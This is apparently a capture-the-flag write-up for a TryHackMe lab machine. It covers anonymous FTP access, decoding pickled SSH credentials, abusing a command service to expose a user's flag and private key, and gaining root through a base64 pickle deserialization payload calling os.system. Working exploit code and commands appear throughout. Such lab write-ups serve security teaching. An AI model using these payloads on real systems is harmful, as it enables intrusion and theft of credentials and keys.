As with all these THM write up, you must make sure that there's the standard thing: Connect to the network's VPN, boot up your computer and sit behind the keyboard. Not necessarily in that order.
But aside of that, there's one extra thing you'll need for this challenge: (at least) basic understanding of Python.
Oh, and a disclaimer: The easy answers are disclosed, but the answers where you need to put some effort into it, are redacted. With that said, I wish you happy hacking!
#1 What is the user flag?
This task alone is quite large, so let's split it into sections:
What's running on the server?
Let's break out our trusty friend, nmap, and point it at the machine, wait for a while, and --
$ nmap -sC -sV -oN nmap/initial <ip> Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 21:58 CEST Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 3.03 seconds
That's odd... Machine seems to be down. Either that, or it's firewalling ICMP requests. Let's roll with nmap's suggestion and try again.
$ nmap -sC -sV -oN -Pn nmap/initial <ip> # nmap scan report for <ip> Host is up (0.062s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 20/tcp closed ftp-data 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 ftp ftp 17 May 15 18:37 test.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:<ip> | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Aha! Now we're talking. So we have an anonymous FTP and an ssh opened. Nmap only displayed test.txt in that folder, but we should take another peek. Just in case.
$ ftp <ip> Connected to <ip>. 220 (vsFTPd 3.0.3) Name (<ip>:by7e): ftp 331 Please specify the password. Password:
Wait, the FTP is asking about password even though nmap said there's anonymous access enabled. Maybe 'anonymous'?
230 Login successful. Remote system type is UNIX.
Success! And now we poke around:
ftp> ls -al 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 May 15 18:37 . drwxr-xr-x 2 ftp ftp 4096 May 15 18:37 .. -rw-r--r-- 1 ftp ftp 7048 May 15 18:37 .creds -rw-r--r-- 1 ftp ftp 17 May 15 18:37 test.txt
A hidden file! Okay. Let's download it and examine the contents:
Right. A literal binary file.
Decoding the file content
Let's go over the basic computer stuffs: 1 byte consists of 8 bits, and combining those makes the computer world go around. So, let's slice the content of the file to 8 characters chunks. And since Python is handy, so let's use it for our job:
#!/usr/bin/env python f = open('.creds').read() n = 8 letters = [f[i:i+n] for i in range(0, len(f), n)] out = "" for letter in letters: l = int(letter, 2) out += chr(l) print out
With that done, we pipe this to a creds.bin file, and... Now what? What is this file, anyways?
$ xxd -c 8 creds.bin 8003 5d71 0028 580a ..]q.(X. 0000 0073 7368 5f70 ...ssh_p 6173 7331 3571 0158 ass15q.X 0100 0000 7571 0286 ....uq.. 7103 5809 0000 0073 q.X....s 7368 5f75 7365 7231 sh_user1 7104 5801 0000 0068 q.X....h 7105 8671 0658 0a00 q..q.X.. 0000 7373 685f 7061 ..ssh_pa 7373 3235 7107 5801 ss25q.X.
Python pickles! The CTF is riddled with pickles! Let's see --
$ python creds-unpickle.py Traceback (most recent call last): File "creds-unpickle.py", line 6, in <module> new_dict = pickle.load(infile) File "/usr/lib/python2.7/pickle.py", line 1384, in load return Unpickler(file).load() File "/usr/lib/python2.7/pickle.py", line 864, in load dispatch[key](self) File "/usr/lib/python2.7/pickle.py", line 892, in load_proto raise ValueError, "unsupported pickle protocol: %d" % proto ValueError: unsupported pickle protocol: 3
Rats. However --
$ python3 creds-unpickle.py [('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'),
Success! Although, the chunks for username and password are out of order. A simple cleaner / sorter should do the trick:
#!/usr/bin/python3 pwd =  for i in range(100): pwd.append('') for d in new_dict: if 'ssh_pass' in d: i = int(d.replace('ssh_pass', '')) pwd[i] = d print(''.join(pwd))
And with that, we have the credentials for SSH.
$ ssh g**n@<ip> $ ls -al total 16 drwxr-xr-x 3 g**n g**n 4096 Sep 10 21:26 . drwxr-xr-x 4 root root 4096 May 15 18:38 .. drwx------ 2 g**n g**n 4096 Sep 10 21:26 .cache -rw-r--r-- 1 root root 2350 May 15 18:37 cmd_service.pyc g**n@ubuntu-xenial:~$ sudo -l [sudo] password for g**n: Sorry, user g**n may not run sudo on ubuntu-xenial.
Bah, that's a dead end. The standard command find / -perm /4000 doesn't yield anything useful either.
However, this cmd_service.pyc is out of place and may come handy. A quick scp brings the file to our machine.
Since we have the file on our machine, we can do whatever we want to do with it. For instance, we can decompile it. And because the file is literally compiled python class, we can restore it to its original form with a little help of uncompyle6.
$ pip3 install uncompyle6 $ uncompyle6 cmd_service.pyc > cmd_service.py
Given we now have the source code, we can see interesting things:
username = long_to_bytes(1..6) password = long_to_bytes(2..6) ... def main(): print('Starting server...') port = 7321 host = '0.0.0.0' service = Service server = ThreadedService((host, port), service)
And a quick
$ python3 >>> from Crypto.Util.number import long_to_bytes >>> print(long_to_bytes(1..6)) # username >>> print(long_to_bytes(2..6)) # password
gives us our credentials. So! We have a server running on port 7321, and we have username and a password. Let's use telnet to log in.
telnet <ip> 7321 Trying <ip>... Connected to <ip>. Escape character is '^]'. Username: [redacted] Password: [redacted] Successfully logged in! Cmd: ls
Nothing. What gives?
while True: command = self.receive(b'Cmd: ') p = subprocess.Popen(command, shell=True, stdout=(subprocess.PIPE), stderr=(subprocess.PIPE))
Oh, duh. Wait... Where's the flag? it's not in our home folder... Is there someone else on the box?
$ ls /home g**n dill
And who is the script running as anyways?
$ ps aux | grep service dill 1098 22:14 0:00 /usr/bin/python3 /var/cmd/.cmd_service.py root 1146 22:14 0:00 /usr/lib/accountsservice/accounts-daemon
$ cd /home/dill $ ls -al drwxr-xr-x 2 dill dill 4096 May 15 18:38 .ssh -r--r----- 1 dill dill 33 May 15 18:38 user.txt
Nice! We can change permissions of the flag with
Cmd: chmod 777 /home/dill/user.txt
through the server command script. And while we are at it, let's make another change as well:
Cmd: chmod 777 /home/dill/.ssh/id_rsa
And a quick
reveals our first flag, which is, of course
#2 What is the root flag?
With one flag under our belt, let's go after the second one: Root flag! Privesc! But... how?
First things first: Since we now have permission to that ssh private key, grab that one first and attempt to log in as the other user.
$ scp g**n@<ip>:/home/dill/.ssh/id_rsa ssh/id_rsa
Do keep in mind that SSH will quite likely complain about the premissions of the private key. So, let's fix those on our machine first:
$ chmod 500 ssh/id_rsa
And on the remote machine:
Cmd: chmod 500 /home/dill/.ssh/id_rsa
And attempt to log in:
$ ssh dill@<ip> -i ssh/id_rsa
Success! Although, as established before, there's not much in the standard dirs. See?
$ find / -perm /4000 2>/dev/null /usr/lib/policykit-1/polkit-agent-helper-1 ... /usr/lib/dbus-1.0/dbus-daemon-launch-helper ... /bin/ping6 /bin/ping
But since we're a different user now --
dill@ubuntu-xenial:~$ sudo -l User dill may run the following commands on ubuntu-xenial: (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm
Hello! And now we find a way to --
$ sudo /opt/peak_hill_farm/peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow:
... What? What does this do?
$ sudo /opt/peak_hill_farm/peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: gsdfgsdfgsdfgsdfgsdfg failed to decode base64
Base64, huh? Let's try to make it do things!
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: SasdasdaSDasdASd== Traceback (most recent call last): File "peak_hill_farm.py", line 18, in <module> ValueError: could not convert string to int  Failed to execute script peak_hill_farm
It's a Python application? ... ... ... Oh! Binaries! Pickles! It's trying to decode pickles! Let's see if that's true! And since we already dealt with Python3 pickles on this box, we assume we're dealing with them this time around as well:
$ python3 >>> import pickle >>> import base64 >>> a = "this works?" >>> base64.b64encode(pickle.dumps(a)) b'gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4=' dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm! to grow: gASVDwAAAAAAAACMC3RoaXMgd29ya3M/lC4= This grew to: this works?
Yes! (Unintentionally, I just answered my own question.)
Let's break it! And with root permissions, we'll have that flag in no time!
There's is a pretty detailed information about how to exploit Python's pickle here https://davidhamann.de/2020/04/05/exploiting-python-pickle/ and here https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html.
So we want to create a malicious code and encode it in base64.
#!/usr/bin/env python3 import pickle import os import base64 class EvilPickle(object): def __reduce__(self): return (os.system, ('ls /root/', )) pickle_data = pickle.dumps(EvilPickle()) print(base64.b64encode(pickle_data))
Drop the base64 string into the peak hill farm, and —
to grow: gANjcG9zaXgKc3lzdGVtCnEAWAkAAABscyAvcm9vdC9xAYVxAlJxAy4= �root.txt� This grew to: 0
Huh? What's with the weird squares around the filename? Eh, it doesn't matter. We can modify the request a little bit, and
class EvilPickle(object): def __reduce__(self): return (os.system, ('cat /root/*', )) pickle_data = pickle.dumps(EvilPickle())
to grow: gANjcG9zaXgKc3lzdGVtCnEAWAsAAABjYXQgL3Jvb3QvKnEBhXECUnEDLg== [redacted] This grew to: 0
Boom, done! We have the flag!
You can also use this method to deploy a reverse shell, but, eh. I didn't feel like it's necessary for this CTF.